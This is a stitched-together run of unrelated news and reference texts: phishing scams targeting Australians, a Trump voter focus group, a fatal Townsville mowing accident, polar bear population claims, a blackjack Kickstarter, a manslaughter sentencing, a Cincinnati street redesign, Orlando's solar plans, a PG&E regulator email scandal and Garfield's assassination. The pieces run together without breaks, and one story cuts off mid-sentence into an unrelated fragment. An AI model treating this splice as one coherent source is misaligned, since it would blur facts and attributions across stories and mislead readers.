Vice president of Threat Operations for Proofpoint Kevin Epstein said the past 12 months have seen a plethora of social engineering attacks across email, social media platforms and mobile apps.
“People’s natural curiosity and gullibility is now targeted at an unprecedented scale. Attackers largely did not rely on sophisticated, expensive technical exploits,” he told news.com.au
“They ran simple, high-volume campaigns that hinged on social engineering. People were used as unwitting pawns to infect themselves with malware, hand over key credentials, and fraudulently wire money on the attackers’ behalf.”
A recent example of social engineering is an ever-evolving phishing scam targeting mobile banking customers in Australia.
According to an alert from the Australian Communications and Media Authority, links to internet domains that closely resemble the legitimate URL’s of Australian banks are being sent to customers across the country via text message.
If the URL is clicked, customers are presented with a fake website that is almost indistinguishable from the authentic page of their banking provider.
By using the service as they usually would, customers are unwitting accomplices in the hackers quest to their steal information and money.
“It appears that the criminals behind this campaign are constantly refining their messages and the associated fake imitation banking websites to increase their chance of success,” the ACMA said.
While our reliance on technology makes life easier, it also provides more opportunities for cyber criminals who are becoming increasingly smarter.
“Criminals have a financial and evolutionary incentive to improve their tactics on a constant basis and some of those tactics include compromising apps and sites, leading to more opportunities for exposure,” he said.
“Threat actors continuously assess and modify every aspect of their campaigns in order to adapt to changing defences and new user behaviours, including as a result of user education and adoption of new services and programs.
“While this may make it seem that threat actors are getting smarter or more aggressive, it’s really a reflection of their use of a sophisticated, adaptable ecosystem that excels at making the most of new opportunities.”
Making things even scarier is the fact these criminals are becoming so advanced, they are developing methods to ensure victims are attacked when they were at their most vulnerable.
“Attackers study the science of human behaviour at least as much as the science of code,” he said.
“Threat actors continuously use a combination of testing and free or underground tools to determine not only the most effective delivery times, but also which messages are most effective at reaching their targets.
“Like any business, they do multivariate testing and study the analytics of which lures result in the highest returns on their investment.”
In addition to mimicking financial institutions, there is a growing trend of cyber criminals posing as Australia Post to scam victims.
Using email addresses that appear to be from the service, the scammers contact victims with messages regarding undelivered postal items.
Through the use of subject lines such as “a courier did not redeem package” or “agent was unable to deliver the item to your place for the reason: the receiver was absent”, scammers attempt to get lure victims.
Once the email is open, the cyber criminals will encourage the reader to click on the web link, login and provide their personal information.
The Australian Post website warns this is not standard practice as the service will never send an email asking people to click an attachment.
It warns anyone receiving these emails should delete them immediately.
Mr Epstein said even though experts are getting better at recognising threats, they will continue to exist as long as there’s financial incentive.
“There will be cybercrime as long as there is a way to profit from stealing information online, and every individual and organisation are a potential target,” he said.
“Understanding that, we can move on to using intelligence, education and solutions to focus on threats, risks, and response.”
In terms of ensuring you don’t fall victim to social engineering attacks, Mr Epstein said the fist point of call is to be wary.
“A healthy dose of suspicion towards any unsolicited email is a good first line of defence, especially if the message is from someone you do not know,” he said.
“If there’s a plausible reason for receiving the message, then verification can provide an important additional check: for example, check with your purchasing department to see if that invoice corresponds to an actual order.
“It’s also important to have a process with multiple checks in place in order to prevent unauthorised purchases or transfers — attackers are counting on people responding to the message’s sense of urgency to bypass both checks and suspicions.”President-elect Donald Trump gestures to people gathered in the lobby of Trump Tower in New York after speaking to the news media there Friday. (Shannon Stapleton/Reuters)
It’s literally impossible for Donald Trump to shake things up too much in Washington, in the eyes of those who backed him for president.
That’s my big takeaway from a post-election focus group of a dozen Trump backers convened in Cleveland by longtime Democratic pollster Peter Hart.
In a memo documenting the results of the gathering — a quadrennial exercise that Hart has done for each of the past several presidential elections — the pollster writes: “Trump’s voters are not about to let him forget these promises, and they fully expect the untraditional outsider to shake up a storm in Washington and make real, tangible improvements in the economy and in their day-to-day lives.”
Let’s take the first part of that sentence, um, first. It’s saying that Trump’s voters believe that Washington and the politicians who inhabit it are fundamentally corrupt and deaf to their concerns. They badly want “tangible” signs of change, the sort that official Washington not only rolls its eyes at but also gasps in horror at.
What that means is that many of the moves Trump has made or signaled during the transition — picking someone like Rex Tillerson to be his secretary of state, recalling all foreign ambassadors on the day of the inauguration, contemplating shifting the White House press corps out of the White House — are just the sorts of things that Trump supporters believe they voted for and will applaud.
And what it means going forward is that there’s virtually nothing, as it relates to shaking up Washington, that will alarm people such as the 12 that Hart gathered in Cleveland last month. Trump’s brashness and embrace of radical change — many of his backers don’t view it as “radical” — is at the center of his appeal.
“I think that he has the business mentality that he can make the change that needs to happen, and I don’t think he is afraid to do so,” one Trump voter told Hart.
(Nota bene: While all 12 of the people Hart interviewed voted for Trump, not all were longtime Republicans. Seven voted for either Barack Obama or Bill Clinton at least once; three had voted for Obama in 2012.)
The second part of that desire for change, however, is more problematic for Trump. Voters expect him to change things — and fast. That includes making the economy more vibrant, repealing and replacing the Affordable Care Act and other things that are far more difficult to achieve, particularly in the near term.
“After a long campaign of hard-charging rhetoric and ambitious promises, Trump voters have sky-high expectations for his presidency” particularly on the economy, Hart wrote. “If Trump can manage to turn these promises into positive accomplishments, he will remain in these voters’ good graces; if not, the stakes to deliver on other issues will grow steeper.”
Working for Trump is his masterful sense of public relations. As has been demonstrated repeatedly during the presidential transition, Trump claims credit for any job announcements — with varying levels of accuracy — that have happened since Nov. 8. The questions are a) how much of Trump’s boasting is borne out in reality? (and how much do his supporters care?) and b) whether Trump’s promises to bring back thousands of jobs can actually be achieved in an increasingly globalized world in which any one president or any administration’s policies can have only so much effect.
“It’s definitely time for a change.... [If] he doesn’t make certain changes, you’re going to have a lot of upset people, or he’s not going to, you know, live up to his word,” said one Cleveland focus-group participant.
The reason Trump will be inaugurated president later this week is very simple: He was change while Hillary Clinton was more of the same.
But, change, like hope, means very different things to different people. Trump was able to promise broad-scale change during the campaign because he wasn’t actually the president. Delivering on that change once he is in the White House — and ensuring it is enough change — is far more difficult. What’s clear from this Cleveland focus group: The more Washington swoons at the changes Trump proposes, the stronger ground he will be on among those who elected him.An Australian woman walking to work was killed during a freak accident after she was struck in the head by flying metal thrown up by a grass cutter, which left her decapitated.
An Australian woman walking to work was killed during a freak accident after she was struck in the head by flying metal thrown up by a grass cutter, which left her decapitated.
Australian woman died after 'head was cut off during freak lawnmower accident'
The 42 year-old woman, who has not been named, is believed to have been struck by a 60cm piece of steel pipe, in what witnesses described as a “freak accident”.
Workplace safety officials have launched an investigation into the accident, which occurred on Wednesday morning in the north Queensland town of Townsville.
It is understood that the woman was decapitated and died instantly at the scene after walking past an empty block of land just after 8am.
Police said a tractor pulling a grass cutter ran over a steel pipe that had been lying in the long grass, which was then sent flying through the air at great speed.
Initial reports suggested she had been hit by a lawnmower blade due to the horrific nature of her injuries.
Police are investigating whether it was a blade that struck her.
The male tractor driver, an unnamed 48 year-old private contractor, is in hospital suffering shock.
It is understood he will be interviewed by police later.
Horrified witnesses have been offered counselling while children at the local Townsville Central State School were sent home for the day.
Cheryl Mortenson, a Queensland police spokeswoman, said the tractor lawnmower had been working nearby at the time the woman was walking past.
"She had been walking along the footpath when she was hit in the head by a piece of flying metal," she said.
"The tractor was operating nearby and she was struck in the head. We don’t know if it was a piece of metal or if it was another object."
Darren Randall, a local policeman who attended the scene, added to the Townsville Bulletin: “She was in the wrong place at the wrong time.
"She just happened to be in the exact trajectory of the pipe."
One woman said he had just driven around the corner just moments after the accident, where she discovered the woman lying on the ground.
"The mower guy was in shock, so I sat him down in the shade," she told the paper.
"It was a freak accident."
Geoff Eales, a local businessman, also told the paper that his staff had been left distressed by the incident.
''The policewoman said it was the worst thing she had seen in 15 years,'' he said.
''At the end of the day there is no other explanation than that it was bad luck.
''It was a one-in-a-million situation. If she had been one second later, or one second earlier, it wouldn't have happened.''
Workplace Health and Safety Queensland have launched an investigation.
Local police are also preparing a report for the local coroner.
Telegraph.co.ukFox News is claiming that a new book on a town known as the "Polar Bear Capital of the World" shows that "the polar bears are doing just fine." But extensive research shows that many polar bear populations are declining, and that the species is at risk of extinction due to rapid Arctic sea ice loss driven by climate change.
On the February 5 edition of Fox News' America Live, Trace Gallagher reported on a new book by firefighter Zac Unger that chronicles his experiences living in Churchill, Manitoba, a small town on the Hudson Bay that is known as the "Polar Bear Capital of the World." Unger planned to write a book about how climate change is impacting polar bear populations in the Arctic, but instead he concluded that "polar bears were not in as bad a shape as the conventional wisdom had led me to believe." Gallagher seized on this to suggest that despite being cast as a symbol of the impact of climate change, "the polar bears are doing just fine" and their populations are "exploding":
In fact, the polar bears located in the region that Unger lived in are one of 8 subpopulations in decline, according to a comprehensive review conducted in 2009. The following graphic illustrates the 19 distinct subpopulations of polar bears, only one of which is thought to be increasing:
While polar bear populations have increased since the 1970s thanks to conservation efforts, climate change could threaten "the survival of polar bears as a species," according to a 2004 assessment. And the U.S. Geological Survey projected in 2007 that changes in Arctic ice conditions could result in "loss of approximately 2/3 of the world's current polar bear population by the mid 21st century."About
My Grandfather had a vision back in his prime! His vision was to get his invention into the hands of all those who love playing blackjack! While this idea seemed reasonable. His sales pitch was geared towards the wrong people. By the time he realized this, it was too late. My Grandmother wanted him to stop traveling, so that he could care for her and his eight children. His idea and dream came to a crashing halt. He spent countless hours with printing companies, beverage companies, casino executives, airline executives and many others. All of which had been documented and stored in a small briefcase. Locked away for ages it was about to see the light of day.
When my Grandmother passed away three years ago. He decided to pass down his creative and ingenious idea. Despite the years that had passed, everything remained intact. The business cards from people he had worked with. Casino executive contacts that he'd spoken with. Final products with costs of production from a time that had long passed. Most importantly, the patent and paperwork that went with it. I was in awe when he handed it all over to me.
Now, with it all in my hands. I had to come up with a modern day option, to bring his old time idea, to life. It's taken me a while to think of just how to do this, successfully. Not having much to work with, I hit up google to search for funding options. Then I stumbled upon Kickstarter. I figured I'd give it a whirl!
Now, many think gambling is just about spending and winning money, not true. Some, think of cards as a sport of its own, an art; a stress reliever. Whatever you think of Blackjack, beginner or novice, this is a helpful study guide. Some may say, "Isn't this a cheap cheating trick?". Well, the answer is, no. See, you can't have these kind of things at a table while you're playing. Of course, that would be cheating. The objective of my Grandfathers Blackjack Wheel is merely a precise study option. It lets you see first hand what's a safe play, when dealt any combination of cards. On the flip side, also shows when not to take a chance. Now, with that said it's not a guaranteed win, each time. Obviously, there is a little luck and chance, in-between, as with any game.
With this Kickstarter project, I hope to make his dream and idea come to life. I'd like to see this wheel on mobile devices across the world. Modernizing a paper product into a mobile app. With the backing of professional players to beginners alike, this may be possible. I hope you help his idea come to life! It'd be a dream come true to him and to me as well. I'd like to accomplish this before he passes. He's now 89 years old and is bound to his bed or recliner. Not able to get out much to enjoy the finer things in life. To see him light up because his dream came true would be an amazing thing to see. With him knowing the world backed his idea, he'd feel complete. I'd also be astounded to be able to say I helped accomplish this. I thank you in advance for all your support! Let's make his wheel spin around the world!The family of a woman beaten to death in a Palmerston North apartment by her partner say there will never be closure for them.
Photo: RNZ/Edward O'Driscoll
Jesse John Stuart Ferris-Bromley originally pleaded not guilty to the murder of 20-year-old Massey University student Virginia Rose Ford in March last year, but later admitted the lesser charge of manslaughter.
In the High Court in Wellington today, Ferris-Bromley, 23, was sentenced to eight years' prison.
Justice Clifford said Ferris-Bromley's offending was particularly sinister.
In a victim impact statement, Virginia Ford's mother Pauline Ford described how her only child's death had devastated her and her husband, John, and how she would never forgive herself for not intervening more forcefully as Ferris-Bromley came to control every part of her life.
The last time the couple saw their daughter alive was last January, when they visited her and Ferris-Bromley in Palmerston North.
Mrs Ford said she saw bruising on her daughter's arms and legs, which she explained by saying she had fallen off her bike.
When they got her body back after the post-mortem, her long hair had been shaved off and her face was covered in thick concealing make-up so the only parts of her that were recognisable were her mouth and nose.
"We have lost our beautiful daughter. No matter what the sentence is, it will never be enough for taking the life of our beloved Virginia or what was done to her in the weeks before she was killed.
"We have to live with that. Nothing can bring her back."
Photo: SUPPLIED / NZ Police
Ferris-Bromley told police that on the afternoon of the fatal attack the couple had argued about "something pathetic", related to their dinner.
He became angry because Ms Ford said something she did not believe in order to please him, and he pulled her off the bed, punched her to the floor and then around the head, neck and abdomen.
She was bleeding from the nose and mouth, so he wiped her face with a towel, but did not call an ambulance until she stopped breathing at about 10pm.
By then she had |
by the previous Conservative government.Following a public meeting at the Woodward Theater on November 18, Cincinnati’s Department of Transportation and Engineering is asking for feedback on the latest proposed alternatives to potentially narrowing the seven-lane, 70-foot-wide road corridor.
At the meeting, City staff provided drawings for seven alternatives to the existing design. Drawings included configurations for two-, four- and seven-lane configurations of the street, along with commentary on the pros and cons of each.
The two- and four-lane configurations would give a certain amount of space back to property owners along the south side of the street, thus increasing the development potential of some corner lots. Only a few of the seven-lane configurations included bicycle lanes on each side of the street, while others sacrificed some on-street parking to make way for bike lanes.
At the public meeting, neighborhood residents raised concern about the impact of through traffic and trucks on the street. In particular, the concern was that the street is too wide and acts as a barrier for pedestrians.
The Over-the-Rhine Brewery District, which has been the leading group pushing for this project, asked at the public meeting why the reconfiguration developed as part of their Master Plan was not included. After some consideration, City Hall has since added an alternative based on the Brewery District’s concept that included a three-lane road configuration with protected bike lanes on each side.
The proposed narrowing of Liberty Street, which was originally built as a 25-foot-wide neighborhood street, is seen by many as an opportunity to bridge the physical and psychological divide between the northern and southern portions of Over-the-Rhine.
“Minimizing the number of lanes on Liberty Street is important so the neighborhood can take over the streets,” Jean-Francois Flechet, owner of Taste of Belgium, commented after the public meeting. “I think it is important to have development on the south side, but we should also accommodate bicycles.”
Allowing for new development, while also accommodating bicycles and preserving on-street parking seems to be the biggest challenge currently facing the project. At some point, one of the items will have to give.
“I bike on Liberty Street, but I bike everywhere, and the majority of people would not find this comfortable,” Flechet continued. “I have never done it during rush hour, and I cannot imagine this would be any fun.”
City officials are accepting public comment on the various alternatives until Wednesday, December 16. The city has posted the alternatives and a public feedback form has been posted on their website. Once the public comment period is closed, City staff says they will narrow the number of alternatives down to two, and recommend one to proceed to final design.
There is currently no funding identified to implement any of the alternatives, but City officials hope to secure the necessary funds at a later date.ORLANDO, Fla. - The city of Orlando has a lofty goal of producing 100 percent of its electricity from renewable sources by 2030, Mayor Buddy Dyer announced Thursday, and becoming the "most sustainable city in the Southest."
At a dedication event for the Orlando Utility Co.'s new solar farm at the Stanton Energy Center on South Alafaya Trail, Dyer said the new panels will produce enough electricity to power City Hall and all 17 Orlando Fire Department stations.
The OUC Kenneth P. Ksionek Community Solar Farm, named for OUC’s general manager and CEO, will help Orlando reach its goal of becoming a 100 percent renewable energy city by 2030, according to city officials.
"We've made a commitment to go totally renewable within the city government by 2030 and as a community by 2050, so I think the city has to lead by example," Dyer said.
Orlando residents will also benefit from the solar farm. More than half of the 37,544 solar panels' output will be available to OUC residential and commercial customers.
The city's subscription to the new solar farm is part of Orlando's Green Works initiative.
Copyright 2017 by WKMG ClickOrlando - All rights reserved.Shakeup at PG&E, state agency over 'inappropriate' talks 'Inappropriate' contacts were bid to sway regulator
California Public Utilities Commission President Michael Peevey says he won't vote on a proposed PG&E penalty. California Public Utilities Commission President Michael Peevey says he won't vote on a proposed PG&E penalty. Photo: Paul Chinn, The Chronicle Buy photo Photo: Paul Chinn, The Chronicle Image 1 of / 1 Caption Close Shakeup at PG&E, state agency over 'inappropriate' talks 1 / 1 Back to Gallery
Three Pacific Gas and Electric Co. executives and a top aide to the head of the California Public Utilities Commission were ousted Monday over "inappropriate" back-channel communications showing that the company lobbied regulators to appoint its preferred judge to a key rate-setting case stemming from the San Bruno explosion.
The president of the utilities commission, Michael Peevey, also agreed to step aside from voting on whether to uphold a proposed $1.4 billion penalty against the company for the deadly disaster.
The revelations and shakeup followed a lawsuit by San Bruno officials seeking communications between the utility and the commission. After receiving a batch of 7,000 e-mails in July, the city asked Peevey to recuse himself from the penalty case, saying the e-mails showed an overly cozy relationship between the company and the state agency that regulates it.
While denying wrongdoing, PG&E promised a probe of 65,000 additional e-mail communications over a five-year period. On Monday, the utility disclosed a string of new e-mails - all from January of this year - that showed PG&E influenced the selection of an administrative law judge to decide how much of a burden customers should bear for billions of dollars of gas-pipeline improvements after the San Bruno blast.
The e-mails showed that PG&E's vice president of regulatory relations, Brian Cherry, told Peevey's top aide that one prospective judge posed a "major problem for us," and objected to another judge who had overseen a case in which the company "got screwed royally."
A colleague of Peevey's on the five-member commission, Mike Florio, agreed with PG&E that "you really couldn't do any worse" than one of the judges and said, "I'll do what I can" to get the company's preferred judge assigned to the case, the e-mails show.
PG&E ultimately got its way, and the commission's top administrative law judge named the company's preferred judge to decide how much customers' rates will rise to pay for safer pipelines.
As a result of its investigation, PG&E said three top executives in its regulatory division - Cherry, his boss, Tom Bottorff, and an underling, Trina Horner - had been fired for violating commission rules regarding communications with regulators. Both Bottorff, the company's vice president over regulatory affairs, and Cherry played key roles in the company's defense in the San Bruno case and in the proceedings over how much the utility should be made to pay for safety improvements after the blast.
President won't vote
At the utilities commission, Peevey asked his chief of staff, Carol Brown, to resign. He also said he would not take part in any commission vote on how much PG&E should be penalized for the September 2010 explosion that killed eight people in San Bruno and destroyed 38 homes.
Earlier e-mails showed Brown advising another top PG&E official about how to get around a public request for information in the San Bruno case. The PG&E official replied to that advice, "Love you."
The newly uncovered e-mails show direct communications between PG&E officials and Peevey's office, including Peevey himself, concerning who should pay for the billions of dollars in pipeline improvements.
In mid-January, the utility learned that administrative law Judge Douglas Long was going to be appointed to preside over the case.
Cherry complained to Brown and Peevey about Long, saying in one e-mail, "This is a major problem for us."
Cherry wrote that PG&E preferred another judge, John Wong. "There is a huge world of difference between Long and Wong," he told Brown. "I'm not sure we could get someone worse. This is a very important case that is now in jeopardy."
On Jan. 22, Brown e-mailed Cherry and Commissioner Florio, saying, "The judge division kindly revisited its assignment and the matter will now be under the guidance of Judge Julie Halligan who is excited about the assignment and it will allow her to use her vast gas pipeline experience! This notice has not been issued - so do not broadcast too broadly!"
'Screwed royally'
Cherry, however, wasn't pleased, recalling in an e-mail to Brown that Halligan had overseen a regulatory dispute in which "we got screwed royally." He said in a separate e-mail that Bottorff, his boss, "is going to have a harder time" internally "as a result of not getting Wong."
"I can't control everything!" Brown told Cherry, adding that Halligan "knows what she is doing and is not too busy."
After Cherry again nudged Brown, she replied, "Working on it - I hope all the mess is worth it."
Cherry replied, "You will own me if you do. ;-)."
Brown notified Cherry on Jan. 27 that Wong would hear the case.
"Thank you. Thank you. Thank you," Cherry replied.
The e-mails show that PG&E's executives were also in regular contact with Florio, a former attorney for the consumer advocate group The Utility Reform Network whom Gov. Jerry Brown named to the commission in 2011.
Strong objection
"I'm horrified" about the prospect Long would oversee the case, Florio told Cherry in one e-mail. "He may retire any day, and uses that as a threat to deflect any direction."
Florio added, "If I were you I would bump him (Long) - you really can't do any worse! Even a brand new ALJ (administrative law judge) would at least work hard and try - you'll get neither from him.... Keep me posted and I'll do what I can on this end."
After Wong was assigned to the case, which is ongoing, Florio e-mailed Cherry, "I trust you're happier now?? Not sure how this came about, but John is the best."
In a statement Monday, the utilities commission noted that the back-channel "inappropriate exchange" between PG&E and Peevey's office was not directly related to the San Bruno penalty case. Still, Peevey will recuse himself from that case "to eliminate any appearance of impropriety," the commission said.
The statement quoted Peevey as saying, "I feel that my voluntary recusal should ensure the public's confidence in the credibility and objectivity of the CPUC's decisions."
PG&E says it will appeal the $1.4 billion penalty levied by two administrative law judges, arguing that the company should get more credit for pipeline improvements it has already made. Any appeal is likely to come before the commission, all of whose members were appointed by Brown.
Commissioner's statement
Florio did not recuse himself from the case Monday. The commission's statement quoted him as saying, "I want to assure those practicing before us, the many stakeholders to our proceedings and the public that this will not happen again."
PG&E said in a statement that it believed the e-mail exchanges violated commission rules covering communications with regulators.
"As a company, we must be committed to complying with both the letter and the spirit of the law and PG&E's own code of conduct at all times," PG&E President Chris Johns and parent company CEO Tony Earley said in a joint letter to employees. "No excuses. That is, and must be, the standard for our behavior individually and as a company."
But San Bruno officials were not satisfied that the commission's and PG&E's actions Monday went far enough.
"These e-mails show that PG&E thinks that they run the commission," said Britt Strottman, an attorney for the city. "PG&E was engaging in illegal communications with the CPUC with impunity."The assassination of James Abram Garfield, the 20th President of the United States, began when he was shot at 9:30 am on July 2, 1881, less than four months into his term as President, and ended in his death 79 days later on September 19, 1881. He was shot by Charles J. Guiteau at the Baltimore and Potomac Railroad Station in Washington, D.C., and died in Elberon, New Jersey. Guiteau's motive was revenge against Garfield for an imagined political debt.
Assassination [ edit ]
Background [ edit ]
Charles J. Guiteau
Charles Guiteau turned to politics after failing in several ventures, including theology, a law practice, bill collecting, and time in the utopian Oneida Community.[3] Ulysses S. Grant was the early front runner for the Republican presidential nomination in 1880 and was supported by the Stalwart faction.[4] Turning his attention to politics, Guiteau decided he was a Stalwart and a Grant supporter, and authored a speech called "Grant against Hancock".[5] Grant lost the nomination to dark horse candidate James Garfield, who was not affiliated with either the Stalwarts or their rivals the Half-Breeds.[6] Guiteau then revised his speech to "Garfield against Hancock", and tried to sign on as a campaigner for the Republican ticket.[7] He never delivered the speech in a public setting, but had it printed (he never paid the bill) and distributed several hundred copies.[8] The speech was ineffective, even in written form; among other problems, Guiteau had made a hurried but incomplete effort to replace references to Grant with references to Garfield. The result was that Guiteau appeared to give Garfield credit for accomplishments that he had originally ascribed to Grant, yet he convinced himself that his speech was largely responsible for Garfield's narrow victory over Democratic nominee Winfield Scott Hancock.[9] Guiteau believed he should be awarded a diplomatic post for his supposedly vital assistance, first asking for a consulship in Vienna, then expressing a willingness to "settle" for one in Paris.[10] He loitered around Republican headquarters in New York City during the winter of 1880-1881, expecting rewards for his speech, but to no avail.[11]
Guiteau arrived in Washington on March 5, 1881, the day after Garfield's inauguration, still believing that he would be rewarded.[12] He obtained entrance to the White House and saw the President on March 8, 1881, dropping off a copy of his speech as a reminder of the campaign work which he had done on Garfield's behalf.[13] He spent the next two months roaming around Washington, staying at rooming houses and sneaking away without paying for his meals and lodging.[14] He passed his days loitering in hotel lobbies to read old newspapers and use hotel stationery to write letters to those who he thought could help him obtain an appointment from Garfield.[15] In addition, he spent time shuffling back and forth between the State Department and the White House, and approaching various Cabinet members and prominent Republicans to press his claim, all without success.[16] He was destitute and increasingly slovenly because he was wearing the same clothes every day,[17] and forced to walk through the cold, snowy city without overcoat, hat, gloves, or boots.[18] On May 13, 1881, he was banned from the White House waiting room. On May 14, 1881, he encountered Secretary of State James G. Blaine, who told him, "Never speak to me again of the Paris consulship as long as you live."[19]
Illustration of Guiteau's pistol
British Bulldog revolver used by Guiteau to assassinate President James A. Garfield
1881 political cartoon of Guiteau; the caption for the cartoon read "Model Office Seeker"
Guiteau's family had judged him to be insane in 1875 and attempted to have him committed, but he had escaped.[20] Now his mania took a violent turn, and he decided that he had been commanded by a higher power to kill the President. He later stated, "I leave my justification to God."[21]
Guiteau borrowed $15 (equivalent to $389 in 2018) from George Maynard, a relative by marriage, then went out to purchase a revolver.[22] He knew little about firearms, but he believed that he would need a large caliber gun. O'Meara's store in Washington provided a choice between two versions of the.442 Webley caliber British Bulldog revolver,[22] one with a wooden grip and another with an ivory grip.[23][24] He favored ivory because he thought that it would look better as a museum exhibit after the assassination, but could not afford the extra dollar, so the store owner dropped the price for him.[25] (The revolver was recovered and displayed by the Smithsonian in the early 20th century, but it has since been lost.)[26] He spent the next few weeks stalking Garfield and in target practice; the kick from the revolver almost knocked him over the first time that he fired it.[27] He wrote a letter to Garfield, saying that he should fire Blaine or "you and the Republican party will come to grief".[28] The letter was ignored,[29] as was all the correspondence that Guiteau sent to the White House.[30]
Guiteau continued to prepare carefully; he wrote a letter to William Tecumseh Sherman, the Commanding General of the Army, asking for protection from the mob that he assumed would gather after he killed the President,[31][32] and he wrote other letters justifying his action as necessary to heal dissension between the factions of the Republican Party.[33] He went to the District of Columbia jail to ask for a tour of the facility where he expected to be incarcerated, but he was told to come back later.[34] He spent the whole month of June following Garfield around Washington. On one occasion, he trailed him to the railway station as the President was seeing his wife off to a beach resort in Long Branch, New Jersey, but he decided not to shoot him then, as Lucretia Garfield was known to be in poor health and he did not want to upset her.[35][36]
Shooting [ edit ]
President Garfield
Contemporaneous depiction of the Garfield assassination; Secretary of State James G. Blaine stands at right Baltimore and Potomac Railroad Station, Washington, DC where President James A. Garfield was shot on July 2, 1881
Garfield was scheduled to leave Washington on July 2, 1881 for his summer vacation, which was reported in the Washington newspapers,[37] and Guiteau lay in wait for him at the Baltimore and Potomac Railroad Station on the southwest corner of Sixth Street and Constitution Avenue NW, Washington, D.C.[38] Garfield came to the Sixth Street Station on his way to his alma mater Williams College, where he was scheduled to deliver a speech before beginning his vacation. He was accompanied by his sons James and Harry, and by Secretary of State James G. Blaine; Secretary of War Robert Todd Lincoln waited at the station to see him off.[36] Garfield had no bodyguard or security detail; early Presidents did not employ them, with the exception of Abraham Lincoln during the Civil War.[35]
As Garfield entered the waiting room of the station, Guiteau stepped forward and pulled the trigger at point-blank range from behind. Garfield cried out, "My God, what is that?", flinging up his arms. Guiteau fired again and Garfield collapsed.[39] One bullet grazed the President's shoulder, and the other struck him in the back, passing the first lumbar vertebra but missing the spinal cord before coming to rest behind his pancreas.[40] Guiteau put his pistol back in his pocket and turned to leave via a cab that he had waiting for him outside the station, but he collided with policeman Patrick Kearney who was entering the station after hearing the gunfire.
Kearney apprehended Guiteau and was so excited at having arrested the man who had shot Garfield that he neglected to take his gun from him until after they arrived at the police station.[41] Kearney demanded, "In God's name, what did you shoot the president for?" Guiteau did not respond. The rapidly gathering crowd screamed, "Lynch him", but Kearney and several other police officers took the assassin to the police station a few blocks away.[39] As he surrendered to authorities, Guiteau uttered the exulting words, repeated everywhere: "I am a Stalwart of the Stalwarts! I did it and I want to be arrested! Arthur is President now!"[42] This statement briefly led to unfounded suspicions that either Arthur or his supporters had put Guiteau up to the crime.[43]
The Stalwarts were a Republican faction loyal to Senator Roscoe Conkling; they supported Grant for a third term in 1880, and strongly opposed Blaine's Half-Breeds.[44] Garfield was unaffiliated with either faction, but Blaine had given his support to Garfield once it became clear that Blaine could not win the presidential nomination. Chester A. Arthur, a Conkling ally, had been selected as Garfield's running mate to placate the Stalwart faction. As a self-professed Stalwart, Guiteau convinced himself that by removing Garfield, he was striking a blow to unite the two factions of the Republican Party.[45]
Treatment and death [ edit ]
Notice for a prayer meeting in Ware, Massachusetts, dated September 8, 1881
Garfield was carried to an upstairs floor of the train station, conscious but in shock.[46] One bullet remained lodged in his body, but doctors could not find it.[47] Robert Lincoln was deeply upset, thinking back to the assassination of his father Abraham Lincoln; he said, "How many hours of sorrow I have passed in this town."[47]
Garfield was carried back to the White House, and doctors told him that he would not survive the night; nevertheless, he remained conscious and alert.[48] The next morning, his vital signs were good and doctors began to hope for recovery.[49] A long vigil began, and Garfield's doctors issued regular bulletins that the American public followed closely throughout the summer of 1881.[50][51] His condition fluctuated; fevers came and went, he struggled to keep down solid food, and he spent most of the summer eating only liquids.[52]
Changing Garfield's bedclothes
Navy engineers rigged up an early version of the modern air conditioner in an effort to relieve him from the heat of a Washington summer. Fans blew air over a large box of ice and into the President's sickroom, and the device worked well enough to lower the temperature 20 degrees.[53] Doctors continued to probe Garfield's wound with dirty, unsterilized fingers and instruments, attempting to find the bullet,[54] and Alexander Graham Bell devised a metal detector specifically to find it. He was unsuccessful, partly because Garfield's metal bed frame made the instrument malfunction, and partly because self-appointed chief physician Doctor Willard Bliss allowed Bell to use the device only on Garfield's right side, where Bliss insisted the bullet had lodged.[55] Bell's subsequent tests indicated that his metal detector was in good working order, and that he would have found the bullet had he been allowed to use the device on Garfield's left side.[56]
On July 29, Garfield met with his Cabinet for the only time during his illness; the members were under strict instruction from the doctors not to discuss anything upsetting.[57] Garfield became increasingly ill over a period of several weeks due to infection, which caused his heart to weaken. He remained bedridden in the White House with fevers and extreme pains. His weight dropped from over 200 pounds (90 kilograms) to 135 pounds (61 kilograms) as his inability to keep down and digest food took its toll.[58] Nutrient enemas were given in an attempt to extend his life because he could not digest food.[59] Sepsis and infection set in, and the President suffered from hallucinations for a time.[60] Pus-filled abscesses spread all over his body as the infections raged.[61]
Doctors discuss Garfield's wounds
Path of the Bullet that wounded President Garfield
On September 6, Garfield was taken by train to the Jersey Shore to escape the Washington heat, in the vain hope that the fresh air and quiet might aid his recovery.[60] He was propped up in bed before a window with a view of the beach and ocean.[62] New infections set in, as well as spasms of angina. He died of a ruptured splenic artery aneurysm,[63] following sepsis and bronchial pneumonia at 10:35 pm on Monday, September 19, 1881 in Elberon, New Jersey, two months before his 50th birthday. During the 79 days between his shooting and death, Garfield's only official act was to sign a request for the extradition of a forger who had escaped and was apprehended after he fled to Canada.[64]
President Garfield's casket lying in state at the Capitol Rotunda
The funeral in Lake View Cemetery
Most historians and medical experts now believe that Garfield probably would have survived his wound had the doctors been more capable.[65][66] However, most American doctors of the day did not believe in anti-sepsis measures or the need for cleanliness to prevent infection.[67] Several inserted their unsterilized fingers into the wound to probe for the bullet, and one doctor punctured Garfield's liver in doing so. Also, Bliss had supplanted Garfield's physician Jedediah Hyde Baxter. Bliss and the other doctors who attended Garfield had guessed wrong about the path of the bullet in his body; they had probed rightward into his back instead of leftward, missing the location of the bullet but creating a new channel which filled with pus. The autopsy discovered this error and revealed pneumonia in both lungs and a body that was filled with pus due to uncontrolled septicemia.[68]
Chester Arthur was at his home in New York City when word came the night of September 19 that Garfield had died. He said, "I hope—my God, I do hope it is a mistake", but confirmation by telegram came soon after. Arthur was inaugurated early in the morning on September 20, and he took the presidential oath of office from John R. Brady, a New York Supreme Court judge. Arthur then left for Long Branch to pay his respects to Mrs. Garfield before going on to Washington.[69]
Garfield's body was taken to Washington, where it lay in state for two days in the Capitol Rotunda before being taken to Cleveland, Ohio, where the funeral was held on September 26.[70]
Trial and execution [ edit ]
